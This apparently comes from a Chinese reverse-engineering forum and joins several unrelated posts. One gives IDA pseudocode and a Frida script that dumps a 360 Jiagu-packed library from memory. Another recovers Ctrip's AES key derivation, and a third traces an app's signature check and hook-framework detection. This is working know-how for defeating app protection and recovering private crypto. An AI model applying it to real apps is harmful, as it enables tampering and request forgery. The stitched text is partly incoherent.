280) ) goto LABEL_2; v15 = *v4; v4 += 2; *(_QWORD *)(a1 + 304) = v15 + *(_QWORD *)(a1 + 400); continue ; case 8LL: v20 = *v4; v4 += 2; *(_QWORD *)(a1 + 312) = v20 / 0x18; continue ; case 9LL: case 11LL: if ( *v4 != 24 ) return 0LL; goto LABEL_2; case 10LL: v17 = *v4; v4 += 2; *(_QWORD *)(a1 + 448) = v17; continue ; case 12LL: v18 = *v4; v4 += 2; *(_QWORD *)(a1 + 368) = v18 + *(_QWORD *)(a1 + 400); continue ; case 13LL: v14 = *v4; v4 += 2; *(_QWORD *)(a1 + 376) = v14 + *(_QWORD *)(a1 + 400); continue ; case 16LL: goto LABEL_31; case 17LL: case 18LL: case 22LL: return result; case 20LL: if ( *v4 != 7 ) return 0LL; goto LABEL_2; case 23LL: if ( *(_BYTE *)(a1 + 280) ) goto LABEL_2; v29 = *v4; v4 += 2; *(_QWORD *)(a1 + 288) = v29 + *(_QWORD *)(a1 + 400); continue ; case 25LL: v13 = *v4; v4 += 2; *(_QWORD *)(a1 + 336) = v13 + *(_QWORD *)(a1 + 400); continue ; case 26LL: v28 = *v4; v4 += 2; *(_QWORD *)(a1 + 352) = v28 + *(_QWORD *)(a1 + 400); continue ; case 27LL: v16 = *v4; v4 += 2; *(_QWORD *)(a1 + 344) = (unsigned int )v16 >> 3; continue ; case 28LL: v12 = *v4; v4 += 2; *(_QWORD *)(a1 + 360) = (unsigned int )v12 >> 3; continue ; case 30LL: if ( (*v4 & 4) != 0 ) return 0LL; if ( (*v4 & 2) != 0 ) LABEL_31: *(_BYTE *)(a1 + 408) = 1; LABEL_2: v4 += 2; continue ; case 32LL: v27 = *v4; v4 += 2; *(_QWORD *)(a1 + 320) = v27 + *(_QWORD *)(a1 + 400); continue ; case 33LL: v30 = *v4; v4 += 2; *(_QWORD *)(a1 + 328) = (unsigned int )v30 >> 3; continue ; default : if ( v5 != 1879047925 ) goto LABEL_2; *(_BYTE *)(a1 + 41) = 1; v7 = *(_QWORD *)(a1 + 400); v8 = *(unsigned int *)(*v4 + v7); *(_QWORD *)(a1 + 48) = v8; v9 = *(unsigned int *)(*v4 + v7 + 8); *(_DWORD *)(a1 + 72) = v9; *(_DWORD *)(a1 + 76) = *(_DWORD *)(*v4 + v7 + 12); v10 = v7 + *v4 + 16; *(_QWORD *)(a1 + 80) = v10; v11 = v10 + 8 * v9; *(_QWORD *)(a1 + 56) = v11; *(_QWORD *)(a1 + 64) = v11 + 4 * v8 - 4LL * *(unsigned int *)(*v4 + v7 + 4); if ( (((_DWORD)v9 - 1) & (unsigned int )v9) != 0 ) return 0LL; *(_DWORD *)(a1 + 72) = v9 - 1; v4 += 2; continue ; } break ; } while ( 1 ) { v33 = *(v32 - 1); if ( v33 == 1 ) break ; if ( !v33 ) return &dword_0 + 1; LABEL_37: v32 += 2; } v34 = ( const char *)(*(_QWORD *)(a1 + 272) + *v32); if ( _strlen_chk(v34, 0xFFFFFFFFFFFFFFFFLL) <= 0x80 && v31 < *(_DWORD *)(a1 + 456) ) { strncpy (( char *)(*(_QWORD *)(a1 + 464) + 144LL * v31 + 8), v34, 0x7FuLL); result = dlopen(v34, 2); if ( !result ) return result; v35 = 144LL * v31; *(_QWORD *)(*(_QWORD *)(a1 + 464) + v35) = result; ++v31; *(_QWORD *)(*(_QWORD *)(a1 + 464) + v35 + 136) = 0LL; goto LABEL_37; } return 0LL; } |
这里 与 刚刚那个so linker项目 里面的预链接 相似
\\n这里可以推断出 dynamic
\\n而这里我们需要一个so info 的结构体 oacia佬的文章里 79cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6G2j5h3y4A6j5g2)9J5k6h3c8W2N6W2)9J5c8U0x3$3x3q4)9J5k6r3A6A6j5h3N6#2i4K6u0r3 拿来就用
\\n而且 推断出 大致结构体 :
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | struct soinfo { char data[232]; const Elf64_Phdr *phdr; linker_ctor_function_t *init_array_; size_t phnum; Elf64_Dyn *dynamic; const char *strtab_; soinfo *next; uint32_t flags_; Elf64_Rela *plt_rela_; size_t plt_rela_count_; Elf64_Rela *rela_; size_t rela_count_; size_t size; Elf64_Sym *symtab_; size_t nbucket_; size_t nchain_; uint32_t *bucket_; uint32_t *chain_; linker_ctor_function_t *preinit_array_; size_t preinit_array_count_; size_t init_array_count_; linker_dtor_function_t *fini_array_; Elf64_Addr base; size_t fini_array_count_; linker_ctor_function_t init_func_; linker_dtor_function_t fini_func_; }; |
这个结构的 不是准确的,只推断出 phdr phnum dynamic plt_rela_ plt_rela_count_ rela_ rela_count_ base
\\n这几个变量的值 是确定的 其他的并不准确。
\\n在 hook 预链接函数 处 进行dump
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | function my_hook_dlopen(soName = \'\' ) { Interceptor.attach(Module.findExportByName(null, \\"android_dlopen_ext\\" ), { onEnter: function (args) { var pathptr = args[0]; if (pathptr !== undefined && pathptr != null) { var path = ptr(pathptr).readCString(); if (path.indexOf(soName) >= 0) { this .is_can_hook = true ; } } }, onLeave: function (retval) { if ( this .is_can_hook) { hook(); } } } ); } function addr_in_so(addr){ var process_Obj_Module_Arr = Process.enumerateModules(); for (var i = 0; i < process_Obj_Module_Arr.length; i++) { if (addr>process_Obj_Module_Arr[i].base && addr<process_Obj_Module_Arr[i].base.add(process_Obj_Module_Arr[i].size)){ console. log (addr.toString(16), \\"is in\\" ,process_Obj_Module_Arr[i].name, \\"offset: 0x\\" +(addr-process_Obj_Module_Arr[i].base).toString(16)); } } } //console.log(\'RegisterNatives called from:\\\\\\\\n\' + Thread.backtrace(this.context, Backtracer.FUZZY).map(DebugSymbol.fromAddress).join(\'\\\\\\\\n\') + \'\\\\\\\\n\'); function hook_addr(){ var module = Process.findModuleByName( \\"libjiagu_64.so\\" ); Interceptor.attach(module.base.add(0x5E6C), { // fd, buff, len onEnter: function (args) { console. log (hexdump(args[0], { offset: 0, // 相对偏移 length: 0x38*0x6+0x20, //dump 的大小 header: true , ansi: true })); console. log (args[1]) console. log (args[2]) console. log (`base = ${module.base}`) }, onLeave: function (ret) { } }); } function hook() { console. log ( \\"hook fun dump so body\\" ); // 获取libjiagu_64.so模块的基地址 var libjiagu = Process.getModuleByName( \\"libjiagu_64.so\\" ); if (!libjiagu) { console.error( \\"未能找到libjiagu_64.so模块\\" ); return ; } var soinfo; var module = Process.findModuleByName( \\"libjiagu_64.so\\" ); Interceptor.attach(module.base.add(0x379C), { // fd, buff, len onEnter: function (args) { console. log ( \\"hook 379C method ! \\" ); soinfo = args[0]; console. log ( \\"soinfo:\\" ,soinfo); var base = ptr(soinfo.add(0x190)).readPointer(); var ph = ptr(soinfo.add(0xE8)).readPointer(); var phnum = ptr(soinfo.add(0xF8)).readLong(); var rela = ptr(soinfo.add(0x130)).readPointer(); var relasz = 0x1823; var plt_rela = ptr(soinfo.add(0x120)).readPointer(); var plt_relasz =0x101; var size = (base).add(0x28).readLong(); var dymagic = ptr(soinfo.add(0x100)).readPointer(); var dy_size =0x290; console. log ( \\"base:\\" ,base); console. log ( \\"so size:\\" ,size); console. log ( \\"ph:\\" ,ph); console. log ( \\"phnum:\\" ,phnum); console. log ( \\"rela:\\" ,rela); console. log ( \\"relasz:\\" ,relasz); console. log ( \\"plt_rela:\\" ,plt_rela); console. log ( \\"plt_relasz:\\" ,plt_relasz); dump_so_body(base,size, \\"so.so\\" ); dump_so_body(ph,phnum*0x38, \\"ph.so\\" ); dump_so_body(rela,24 *relasz, \\"rela_0x1823.so\\" ); dump_so_body(plt_rela,24 *plt_relasz, \\"plt_rela_0x101.so\\" ); dump_so_body(dymagic,dy_size, \\"dymagic.so\\" ); }, onLeave: function (ret) { var relasz = ptr(soinfo.add(0x138)).readPointer(); console. log ( \\"relasz:\\" ,relasz); var plt_relasz = ptr(soinfo.add(0x128)).readPointer(); console. log ( \\"plt_relasz:\\" ,plt_relasz); } }); } setImmediate(my_hook_dlopen, \\"libjiagu\\" ); function dump_so_body(addr, size, body_name) { var file_path = \\"/data/data/\\" +get_self_process_name()+ \\"/\\" +body_name + \\"_\\" + addr + \\"_\\" + size + \\".body\\" ; var file_handle = new File(file_path, \\"wb\\" ); if (file_handle && file_handle != null) { Memory.protect(addr,size, \'rwx\' ); var libso_buffer = ptr(addr).readByteArray(size); file_handle.write(libso_buffer); file_handle.flush(); file_handle.close(); console. log ( \\"[dump]:\\" , file_path); } } function get_self_process_name() { var openPtr = Module.getExportByName( \'libc.so\' , \'open\' ); var open = new NativeFunction(openPtr, \'int\' , [ \'pointer\' , \'int\' ]); var readPtr = Module.getExportByName( \\"libc.so\\" , \\"read\\" ); var read = new NativeFunction(readPtr, \\"int\\" , [ \\"int\\" , \\"pointer\\" , \\"int\\" ]); var closePtr = Module.getExportByName( \'libc.so\' , \'close\' ); var close = new NativeFunction(closePtr, \'int\' , [ \'int\' ]); var path = Memory.allocUtf8String( \\"/proc/self/cmdline\\" ); var fd = open(path, 0); if (fd != -1) { var buffer = Memory.alloc(0x1000); var result = read(fd, buffer, 0x1000); close(fd); result = ptr(buffer).readCString(); return result; } return \\"-1\\" ; } |
将 dump 下的 组件 copy还原回去
\\n细节修复 plt 与 got
\\nd_tag | \\n值 | \\n含义 | \\n
---|---|---|
DT_JMPREL | \\n0x17 | \\n.rela.plt 在文件中的偏移 | \\n
DT_PLTRELSZ | \\n0x2 | \\n.rela.plt 的大小 | \\n
DT_RELA | \\n0x7 | \\n.rela.dyn 在文件中的偏移 | \\n
DT_RELASZ | \\n0x8 | \\n.rela.dyn 的大小 | \\n
因为 我们在 链接前 dump的 所以无需修复 还原 即可 用ida 使用
\\n我也是成功 恢复了 so文件中的 符号
\\n
希望版主大大 加个精华, 小弟大三,想在简历里添加一笔 看雪有精华 文章!
\\n参考: bb6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6G2j5h3y4A6j5g2)9J5k6h3c8W2N6W2)9J5c8U0x3$3x3q4)9J5k6r3A6A6j5h3N6#2i4K6u0r3
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n样本与之前的魔改MD5是同一个so,不过魔改MD5的文章没了,so放在附件了
第一个传参是明文,第二个传参是请求体的长度
代码逻辑很清晰了,将明文,明文长度和输出都传进了 ctrip_enc
直接进入 ctrip_enc
这里可以看到他对明文长度进行了计算,将受影响的算法提取出来
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n | \\n\\n \\n \\n if ( (input_len & 0xF ) ! = 0 ) \\n\\n \\n input_len_10 = (input_len + 16 ) & 0xFFFFFFF0 ; \\n\\n \\n else \\n\\n \\n input_len_10 = input_len + 16 ; \\n\\n \\n/ / = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = / / \\n\\n \\n if ( (input_len & 0xF ) ! = 0 ) \\n\\n \\n v8 = 16 - (input_len & 0xF ); \\n\\n \\n else \\n\\n \\n v8 = 16 ; \\n\\n \\n/ / = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = / / \\n\\n \\ninput_ = (char * )malloc(input_len_10); \\n\\n \\nmemcpy(input_, input , (unsigned int )input_len); \\n\\n \\nmemset(&input_[input_len], v8, (unsigned int )(v8 - 1 ) + 1LL ); \\n | \\n
如果明文长度是 16的倍数,就+16,如果不是16的倍数就+16再向下对齐到偶数长度
然后如果明文长度是16的倍数,v8赋值为16,如果不是16的倍数就v8赋值为 16 - (input_len & 0xF);
再申请长度对齐后的空间,将明文 和 v8 都 赋值过去
以上,其实他实际上就是实现标准的 AES 的 pkcs7 填充模式,没有进行魔改
而后将 填充后的明文和长度,进入方法 ctrip_enc_internal
1 | \\n\\n v10 = ctrip_enc_internal((__int64)input_, input_len_10, &v12, 16 , output); \\n | \\n
v12的值上面可以看到赋值是, v12 = xmmword_112D4; 直接点过去
看着啥也不像,长度正好为 16,暂且将这个当做一个 IV 吧
进入方法 ctrip_enc_internal
一步步来,首先random_key,就是通过时间生成随机数,得到一个随机key
然后将随机key和上面的iv,v20 传入 encrypt_one
通过下面v20的方法调用发现 aes_setkey_enc(CTX, v20, 0x80u);
那么大胆猜测 v20 就是真实key,随机数+iv 通过 encrypt_one方法计算得出真实的aes key
看一下关键的 encrypt_one 方法
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n21 \\n22 \\n23 \\n24 \\n25 \\n26 \\n27 \\n28 \\n29 \\n30 \\n31 \\n32 \\n33 \\n34 \\n35 \\n36 \\n37 \\n38 \\n39 \\n40 \\n41 \\n42 \\n43 \\n44 \\n45 \\n46 \\n47 \\n48 \\n49 \\n50 \\n51 \\n52 \\n53 \\n54 \\n55 \\n56 \\n57 \\n58 \\n59 \\n60 \\n61 \\n62 \\n63 \\n64 \\n65 \\n66 \\n67 \\n68 \\n69 \\n70 \\n71 \\n72 \\n73 \\n74 \\n75 \\n76 \\n77 \\n78 \\n79 \\n80 \\n81 \\n82 \\n83 \\n84 \\n85 \\n86 \\n87 \\n88 \\n89 \\n90 \\n91 \\n92 \\n93 \\n94 \\n95 \\n96 \\n97 \\n98 \\n99 \\n100 \\n101 \\n102 \\n103 \\n104 \\n105 \\n106 \\n107 \\n108 \\n109 \\n110 \\n111 \\n112 \\n113 \\n114 \\n115 \\n116 \\n117 \\n118 \\n119 \\n120 \\n121 \\n122 \\n123 \\n124 \\n125 \\n126 \\n127 \\n128 \\n129 \\n130 \\n131 \\n132 \\n133 \\n134 \\n135 \\n136 \\n | \\n\\n \\n \\nvoid __fastcall encrypt_one(_OWORD *randomkey, _OWORD *iv, unsigned __int8 **a3) \\n{ \\n \\n // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD \\"+\\" TO EXPAND] \\n\\n \\n aes_gen_tables(); \\n\\n \\n v6 = (unsigned __int8 *) malloc (0x10uLL); \\n\\n \\n *a3 = v6; \\n\\n \\n v7 = v6; \\n\\n \\n *(_OWORD *)v6 = *randomkey; \\n\\n \\n v8 = (int8x8_t *) malloc (0x10uLL); \\n\\n \\n *(_OWORD *)v8->n64_u64 = *iv; \\n\\n \\n sbox = get_sbox(); \\n\\n \\n v10 = v7[1]; \\n\\n \\n v11 = v7[2]; \\n\\n \\n v12 = v7[3]; \\n\\n \\n v13 = *(_BYTE *)(sbox + *v7); \\n\\n \\n v14 = v7[4]; \\n\\n \\n v15 = v7[5]; \\n\\n \\n v16 = v7[6]; \\n\\n \\n *v7 = v13; \\n\\n \\n LOBYTE(v10) = *(_BYTE *)(sbox + v10); \\n\\n \\n v17 = v7[7]; \\n\\n \\n v18 = v7[8]; \\n\\n \\n v19 = v7[9]; \\n\\n \\n v7[1] = v10; \\n\\n \\n LOBYTE(v11) = *(_BYTE *)(sbox + v11); \\n\\n \\n v20 = v7[10]; \\n\\n \\n v21 = v7[11]; \\n\\n \\n v22 = v7[12]; \\n\\n \\n v7[2] = v11; \\n\\n \\n LOBYTE(v12) = *(_BYTE *)(sbox + v12); \\n\\n \\n v27.n64_u8[0] = v13; \\n\\n \\n v23 = v7[13]; \\n\\n \\n v27.n64_u8[1] = v10; \\n\\n \\n v7[3] = v12; \\n\\n \\n LOBYTE(v14) = *(_BYTE *)(sbox + v14); \\n\\n \\n v24 = v7[14]; \\n\\n \\n v27.n64_u8[2] = v11; \\n\\n \\n v25 = v7[15]; \\n\\n \\n v7[4] = v14; \\n\\n \\n LOBYTE(v15) = *(_BYTE *)(sbox + v15); \\n\\n \\n v27.n64_u8[3] = v12; \\n\\n \\n v27.n64_u8[4] = v14; \\n\\n \\n v26 = 2; \\n\\n \\n v7[5] = v15; \\n\\n \\n LOBYTE(v16) = *(_BYTE *)(sbox + v16); \\n\\n \\n v27.n64_u8[5] = v15; \\n\\n \\n v7[6] = v16; \\n\\n \\n LOBYTE(v17) = *(_BYTE *)(sbox + v17); \\n\\n \\n v27.n64_u8[6] = v16; \\n\\n \\n v7[7] = v17; \\n\\n \\n LOBYTE(v18) = *(_BYTE *)(sbox + v18); \\n\\n \\n v27.n64_u8[7] = v17; \\n\\n \\n v7[8] = v18; \\n\\n \\n LOBYTE(v19) = *(_BYTE *)(sbox + v19); \\n\\n \\n v29.n64_u8[0] = v18; \\n\\n \\n v7[9] = v19; \\n\\n \\n LOBYTE(v20) = *(_BYTE *)(sbox + v20); \\n\\n \\n v29.n64_u8[1] = v19; \\n\\n \\n v7[10] = v20; \\n\\n \\n LOBYTE(v21) = *(_BYTE *)(sbox + v21); \\n\\n \\n v29.n64_u8[2] = v20; \\n\\n \\n v7[11] = v21; \\n\\n \\n v28 = *(_BYTE *)(sbox + v22); \\n\\n \\n v29.n64_u8[3] = v21; \\n\\n \\n v7[12] = v28; \\n\\n \\n LOBYTE(v10) = *(_BYTE *)(sbox + v23); \\n\\n \\n v29.n64_u8[4] = v28; \\n\\n \\n v7[13] = v10; \\n\\n \\n LOBYTE(v11) = *(_BYTE *)(sbox + v24); \\n\\n \\n v29.n64_u8[5] = v10; \\n\\n \\n v7[14] = v11; \\n\\n \\n v29.n64_u8[6] = v11; \\n\\n \\n v29.n64_u8[7] = *(_BYTE *)(sbox + v25); \\n\\n \\n v7[15] = v29.n64_u8[7]; \\n\\n \\n while ( 1 ) \\n\\n \\n { \\n\\n \\n v30 = veor_s8(v29, v8[1]).n64_u64[0]; \\n\\n \\n *(int8x8_t *)v7 = veor_s8(v27, (int8x8_t)v8->n64_u64[0]); \\n\\n \\n *((_QWORD *)v7 + 1) = v30; \\n\\n \\n row_rotation(v7, 4LL, 1LL); \\n\\n \\n if ( !v26 ) \\n\\n \\n break ; \\n\\n \\n column_rotation(v8, 4LL, 1LL); \\n\\n \\n v31 = get_sbox(); \\n\\n \\n v32 = v8->n64_u8[1]; \\n\\n \\n v27.n64_u64[0] = *(unsigned __int64 *)v7; \\n\\n \\n v29.n64_u64[0] = *(_QWORD *)(v7 + 8); \\n\\n \\n --v26; \\n\\n \\n v8->n64_u8[0] = *(_BYTE *)(v31 + v8->n64_u8[0]); \\n\\n \\n v33 = *(_BYTE *)(v31 + v32); \\n\\n \\n v34 = v8->n64_u8[2]; \\n\\n \\n v8->n64_u8[1] = v33; \\n\\n \\n v35 = *(_BYTE *)(v31 + v34); \\n\\n \\n v36 = v8->n64_u8[3]; \\n\\n \\n v8->n64_u8[2] = v35; \\n\\n \\n v37 = *(_BYTE *)(v31 + v36); \\n\\n \\n v38 = v8->n64_u8[4]; \\n\\n \\n v8->n64_u8[3] = v37; \\n\\n \\n v39 = *(_BYTE *)(v31 + v38); \\n\\n \\n v40 = v8->n64_u8[5]; \\n\\n \\n v8->n64_u8[4] = v39; \\n\\n \\n v41 = *(_BYTE *)(v31 + v40); \\n\\n \\n v42 = v8->n64_u8[6]; \\n\\n \\n v8->n64_u8[5] = v41; \\n\\n \\n v43 = *(_BYTE *)(v31 + v42); \\n\\n \\n v44 = v8->n64_u8[7]; \\n\\n \\n v8->n64_u8[6] = v43; \\n\\n \\n v45 = *(_BYTE *)(v31 + v44); \\n\\n \\n v46 = v8[1].n64_u8[0]; \\n\\n \\n v8->n64_u8[7] = v45; \\n\\n \\n v47 = *(_BYTE *)(v31 + v46); \\n\\n \\n v48 = v8[1].n64_u8[1]; \\n\\n \\n v8[1].n64_u8[0] = v47; \\n\\n \\n v49 = *(_BYTE *)(v31 + v48); \\n\\n \\n v50 = v8[1].n64_u8[2]; \\n\\n \\n v8[1].n64_u8[1] = v49; \\n\\n \\n v51 = *(_BYTE *)(v31 + v50); \\n\\n \\n v52 = v8[1].n64_u8[3]; \\n\\n \\n v8[1].n64_u8[2] = v51; \\n\\n \\n v53 = *(_BYTE *)(v31 + v52); \\n\\n \\n v54 = v8[1].n64_u8[4]; \\n\\n \\n v8[1].n64_u8[3] = v53; \\n\\n \\n v55 = *(_BYTE *)(v31 + v54); \\n\\n \\n v56 = v8[1].n64_u8[5]; \\n\\n \\n v8[1].n64_u8[4] = v55; \\n\\n \\n v57 = *(_BYTE *)(v31 + v56); \\n\\n \\n v58 = v8[1].n64_u8[6]; \\n\\n \\n v8[1].n64_u8[5] = v57; \\n\\n \\n v59 = *(_BYTE *)(v31 + v58); \\n\\n \\n v60 = v8[1].n64_u8[7]; \\n\\n \\n v8[1].n64_u8[6] = v59; \\n\\n \\n v8[1].n64_u8[7] = *(_BYTE *)(v31 + v60); \\n\\n \\n } \\n\\n \\n free (v8); \\n} | \\n
代码量还是比较小的,而且没有加混淆,感觉好处理,那就一步步看
首先调用 aes_gen_tables();,但是这个方法没有入参也没有返回,就当是初始化方法,暂时先不管,遇到了再回来看
\\n 1 \\n2 \\n3 \\n | \\n\\n \\n \\nv7 = v6 = * randomkey; \\n\\n \\nv8 - >n64_u64 = * iv; \\n\\n \\nsbox = get_sbox(); \\n | \\n
这里然后将randomkey赋值给了v7,iv赋值给了v8, 以及获取了sbox
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n | \\n\\n \\n \\nchar * get_fbox() \\n{ \\n \\n aes_gen_tables(); \\n\\n \\n return &byte_1D090; \\n} | \\n
点过去 byte_1D090 发现没有值,那么aes_gen_tables 实际上就是为了给这个sbox赋值
unidbg 看下返回结果
对比标准的sbox
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n | \\n\\n \\n \\nSbox = ( \\n\\n \\n 0x63 , 0x7C , 0x77 , 0x7B , 0xF2 , 0x6B , 0x6F , 0xC5 , 0x30 , 0x01 , 0x67 , 0x2B , 0xFE , 0xD7 , 0xAB , 0x76 , \\n\\n \\n 0xCA , 0x82 , 0xC9 , 0x7D , 0xFA , 0x59 , 0x47 , 0xF0 , 0xAD , 0xD4 , 0xA2 , 0xAF , 0x9C , 0xA4 , 0x72 , 0xC0 , \\n\\n \\n 。。。。。。 \\n) | \\n
从头到尾,一个个对比过了,没毛病,一个字没动
后面的代码非常长,而且有点不太好看逻辑
但是如果我们细心观察,我们就可以发现,他的从v7中取值和赋值是可以 一 一对应上的
将代码整理一下:
\\n 1 \\n2 \\n3 \\n4 \\n | \\n\\n \\n \\nv10 = v7[ 1 ]; \\n\\n \\nLOBYTE(v10) = * (_BYTE * )(sbox + v10); \\n\\n \\nv11 = v7[ 2 ]; \\n\\n \\nLOBYTE(v11) = * (_BYTE * )(sbox + v11); \\n | \\n
不就是取值然后把取的值当成索引嘛,直接使用 java 进行还原
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n | \\n\\n private static void take_sbox(byte[] data) { \\n \\n for ( int i = 0 ; i < data.length; i + + ) { \\n\\n \\n int byte_data = data[i] & 0xFF ; \\n\\n \\n data[i] = SBOX[byte_data]; \\n\\n \\n } \\n} | \\n
所以,这个方法前面的那么大一串,实际上6行就能解决,实际上就是做了s盒替换
然后就进入了一个while循环
里面其实就调用了两个方法
\\n 1 \\n2 \\n | \\n\\n \\n \\nrow_rotation(v7, 4LL , 1LL ); \\n\\n \\ncolumn_rotation(v8, 4LL , 1LL ); \\n | \\n
至于后面的一大串代码就很熟悉了,get_sbox(),v33 = *(_BYTE *)(sbox_1 + v32);
就是上面刚说过的s盒替换,不过是这里换成了 iv 去替换
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n载入源码后 冲第一个activity开始分析
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n | \\n\\n \\n \\nif (!c.c(this)) { \\n\\n \\n System.exit( 0 ); \\n\\n \\n this.finish(); \\n\\n \\n return ; \\n} | \\n
这段代码 会插入 到 你自己的activity上 这样就会运行 签名校验逻辑
我们跟进查看 c方法到底在干嘛
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n | \\n\\n public static boolean c(Context context0) { \\n \\n String s = i.g(i.c(context0)); \\n\\n \\n boolean z = g.b( \\"245016634\\" ) = = ( 0x28D876 ^ c.s(s)); \\n\\n \\n boolean z1 = g.b( \\"1121103333\\" ) = = c.s(j.f(s, 5 )); \\n\\n \\n boolean z2 = g.b( \\"404866137\\" ) = = c.s(f.b(f.b(s))); \\n\\n \\n boolean z3 = c.q(context0); \\n\\n \\n if (z && z1) { \\n\\n \\n return z2 ? z3 : false; \\n\\n \\n } \\n\\n \\n return false; \\n} | \\n
通过c方法 的返回值 来判断是否关闭app
在c方法啊内部 ,观察到 第一个方法 c是getPackageCodePath(); 获取apk在系统文件中路径
将路径传入 g方法中
这g方法内部最终调用这个方法:
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n21 \\n22 \\n23 \\n24 \\n25 \\n26 \\n27 \\n28 \\n29 \\n30 \\n31 \\n32 \\n33 \\n34 \\n35 \\n36 \\n37 \\n38 \\n | \\n\\n public static String b(String s) { \\n \\n try { \\n\\n \\n Class class0 = a.o( \\"android.content.pm.PackageParser\\" ); \\n\\n \\n DisplayMetrics displayMetrics0 = new DisplayMetrics(); \\n\\n \\n b.k(displayMetrics0); \\n\\n \\n if (!a.e() && !a.b(s)) { \\n\\n \\n if (Build.VERSION.SDK_INT < = 20 ) { \\n\\n \\n Object object0 = c.m(c.x(class0, new Class[]{String. class }), new Object []{s}); \\n\\n \\n Object object1 = a.g(b.d(class0, \\"parsePackage\\" , new Class[]{ File . class , String. class , DisplayMetrics. class , Integer. TYPE }), object0, new Object []{new File (s), s, displayMetrics0, c.ae( 0x40 )}); \\n\\n \\n a.g(b.d(class0, \\"collectCertificates\\" , new Class[]{a.k(object1), Integer. TYPE }), object0, new Object []{object1, c.ae( 0x40 )}); \\n\\n \\n return b.h(((Signature[])a.m(b.m(a.k(object1), \\"mSignatures\\" ), object1))[ 0 ]); \\n\\n \\n } \\n\\n \\n Object object2 = c.m(c.x(class0, new Class[ 0 ]), new Object [ 0 ]); \\n\\n \\n Object object3 = a.g(b.d(class0, \\"parsePackage\\" , new Class[]{ File . class , Integer. TYPE }), object2, new Object []{new File (s), c.ae( 0x40 )}); \\n\\n \\n if (Build.VERSION.SDK_INT < 28 ) { \\n\\n \\n a.g(b.d(class0, \\"collectCertificates\\" , new Class[]{a.k(object3), Integer. TYPE }), object2, new Object []{object3, c.ae( 0x40 )}); \\n\\n \\n return b.h(((Signature[])a.m(b.m(a.k(object3), \\"mSignatures\\" ), object3))[ 0 ]); \\n\\n \\n } \\n\\n \\n Method method0 = b.d(class0, \\"collectCertificates\\" , new Class[]{a.k(object3), Boolean. TYPE }); \\n\\n \\n boolean z = Build.VERSION.SDK_INT > 28 ; \\n\\n \\n a.g(method0, object2, new Object []{object3, c.k(z)}); \\n\\n \\n Field field0 = b.m(a.k(object3), \\"mSigningDetails\\" ); \\n\\n \\n b.l(field0, true); \\n\\n \\n Object object4 = a.m(field0, object3); \\n\\n \\n Field field1 = b.m(a.k(object4), \\"signatures\\" ); \\n\\n \\n b.l(field1, true); \\n\\n \\n return b.h(((Signature[])a.m(field1, object4))[ 0 ]); \\n\\n \\n } \\n\\n \\n } \\n\\n \\n catch(Exception exception0) { \\n\\n \\n e.f( \\"getAPKSignatures\\" , b.p(exception0)); \\n\\n \\n e.n(exception0); \\n\\n \\n } \\n\\n \\n return null; \\n} | \\n
通过反射获取 android.content.pm.PackageParser 类
DisplayMetrics displayMetrics0 = new DisplayMetrics();
b.k(displayMetrics0);
这个代码我感觉没太大作用
紧接着就是 e方法
public static boolean c() {
for(int v = 0; true; ++v) {
if(v >= 2) {
for(int v1 = 0; v1 < 1; v1 = -(-1 - v1)) {
if(e.d(new String[]{\\"com.bug.fuck.fuck\\"}[v1])) {
return new int[2][6] == 0 ? true : true;
}
}
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n | \\n\\n \\n \\n StringBuilder stringBuilder0 = new StringBuilder(); \\n\\n \\n e.l(stringBuilder0, \\"arm\\" ); \\n\\n \\n e.l(stringBuilder0, \\".SignerPro\\" ); \\n\\n \\n return e.d(c.l(stringBuilder0)); \\n\\n \\n } \\n\\n \\n String s = new String[]{ \\"SandHook\\" , \\"nativehook.NativeHook\\" }[v]; \\n\\n \\n StringBuilder stringBuilder1 = new StringBuilder(); \\n\\n \\n e.l(stringBuilder1, \\"com.swift.sandhook\\" ); \\n\\n \\n e.l(stringBuilder1, \\".\\" ); \\n\\n \\n e.l(stringBuilder1, s); \\n\\n \\n if (e.d(c.l(stringBuilder1))) { \\n\\n \\n return new int [ 1 ][ 4 ] = = 0 ? true : true; \\n\\n \\n } \\n\\n \\n } \\n} | \\n
感觉是对 环境进行检测 之类的 继续分析
com.bug.fuck.fuck 对这个类进行反射 获取class 成功说明 存在这个框架
目标APP 采用了很多开源库进行改写,怀疑下一步就是拿开源ssl.so在so里进行自写TCP发包了
protobuffer 解析是 io.protobuf 自写魔改了(字段处理)
